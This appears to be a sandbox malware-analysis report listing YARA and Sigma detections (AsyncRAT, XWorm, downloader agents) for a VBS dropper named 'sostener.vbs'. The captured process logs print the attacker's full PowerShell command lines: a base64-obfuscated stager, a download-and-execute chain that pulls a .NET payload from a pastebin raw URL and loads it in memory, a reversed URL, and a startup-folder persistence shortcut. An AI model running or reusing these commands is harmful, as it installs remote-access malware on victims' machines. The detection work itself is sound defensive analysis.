4.2.powershell.exe.287005ed138.3.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x129fb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x25db3:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12a98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x25e50:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12bad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x25f65:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x11ae3:$cnc4: POST / HTTP/1.1 0x24e9b:$cnc4: POST / HTTP/1.1
4.2.powershell.exe.287005f0550.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
4.2.powershell.exe.287005f0550.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xf5e3:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x2299b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xf680:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x22a38:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf795:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x22b4d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xe6cb:$cnc4: POST / HTTP/1.1 0x21a83:$cnc4: POST / HTTP/1.1
14.2.powershell.exe.272d6990dc0.3.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
14.2.powershell.exe.272d6990dc0.3.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xf5e3:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x21aab:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xf680:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x21b48:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf795:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x21c5d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xe6cb:$cnc4: POST / HTTP/1.1 0x20b93:$cnc4: POST / HTTP/1.1
14.2.powershell.exe.272d698d9a8.2.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
14.2.powershell.exe.272d6819978.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
14.2.powershell.exe.272d6819978.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL	Detects executables (downloaders) containing reversed URLs to raw contents of a paste	ditekSHen	0x1a4b:$u1: /moc.nibetsap//:sptth 0xa82fc:$u1: /moc.nibetsap//:sptth
14.2.powershell.exe.272d6819978.1.raw.unpack	MALWARE_Win_DLAgent09	Detects known downloader agent	ditekSHen	0x1a65:$h2: //:sptth 0xa8316:$h2: //:sptth 0x119c:$s1: DownloadString 0xfe4:$s2: StrReverse 0x118b:$s3: FromBase64String 0x1457:$s4: WebClient
14.2.powershell.exe.272d698d9a8.2.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x129fb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x24ec3:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12a98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x24f60:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12bad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x25075:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x11ae3:$cnc4: POST / HTTP/1.1 0x23fab:$cnc4: POST / HTTP/1.1
4.2.powershell.exe.28700478df0.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.powershell.exe.28700478df0.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL	Detects executables (downloaders) containing reversed URLs to raw contents of a paste	ditekSHen	0x1a4b:$u1: /moc.nibetsap//:sptth 0xa8784:$u1: /moc.nibetsap//:sptth
4.2.powershell.exe.28700478df0.2.raw.unpack	MALWARE_Win_DLAgent09	Detects known downloader agent	ditekSHen	0x1a65:$h2: //:sptth 0xa879e:$h2: //:sptth 0x119c:$s1: DownloadString 0xfe4:$s2: StrReverse 0x118b:$s3: FromBase64String 0x1457:$s4: WebClient
14.2.powershell.exe.272d7b8ec50.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
14.2.powershell.exe.272d7b8ec50.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL	Detects executables (downloaders) containing reversed URLs to raw contents of a paste	ditekSHen	0x1a4b:$u1: /moc.nibetsap//:sptth 0x157c7c:$u1: /moc.nibetsap//:sptth
14.2.powershell.exe.272d7b8ec50.0.raw.unpack	MALWARE_Win_DLAgent09	Detects known downloader agent	ditekSHen	0x1a65:$h2: //:sptth 0x157c96:$h2: //:sptth 0x119c:$s1: DownloadString 0xfe4:$s2: StrReverse 0x118b:$s3: FromBase64String 0x1457:$s4: WebClient
4.2.powershell.exe.287017daf68.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.powershell.exe.287017daf68.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_RawPaste_Reverse_URL	Detects executables (downloaders) containing reversed URLs to raw contents of a paste	ditekSHen	0x1a4b:$u1: /moc.nibetsap//:sptth 0x1582d4:$u1: /moc.nibetsap//:sptth
4.2.powershell.exe.287017daf68.0.raw.unpack	MALWARE_Win_DLAgent09	Detects known downloader agent	ditekSHen	0x1a65:$h2: //:sptth 0x1582ee:$h2: //:sptth 0x119c:$s1: DownloadString 0xfe4:$s2: StrReverse 0x118b:$s3: FromBase64String 0x1457:$s4: WebClient
Click to see the 24 entries

Other

Source	Rule	Description	Author	Strings
amsi64_6400.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_7096.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??Tg

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\Desktop\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\Desktop\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??

Sigma detected: Potential Startup Shortcut Persistence Via PowerShell.EXE

Source: File created

Author: Christopher Peacock '@securepeacock', SCYTHE: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6400, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\___win________________________________________-------.lnk

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs, CommandLine: "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs, CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs', ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2316, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs, ProcessId: 6592, ProcessName: wscript.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs, CommandLine: "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs, CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs', ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2316, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs, ProcessId: 6592, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe Copy-Item 'C:\Users\user\Desktop\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\', CommandLine: powershell.exe Copy-Item 'C:\Users\user\Desktop\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\', CommandLine|base64offset|contains: r^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\Desktop\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6400, ParentProcessName: powershell.exe, ProcessCommandLine: powershell.exe Copy-Item 'C:\Users\user\Desktop\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\', ProcessId: 1088, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", ProcessId: 5604, ProcessName: wscript.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1088, TargetFilename: C:\Users\user\AppData\Local\Temp\sostener.vbs

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\Desktop\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\Desktop\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\Desktop\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\Desktop\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object 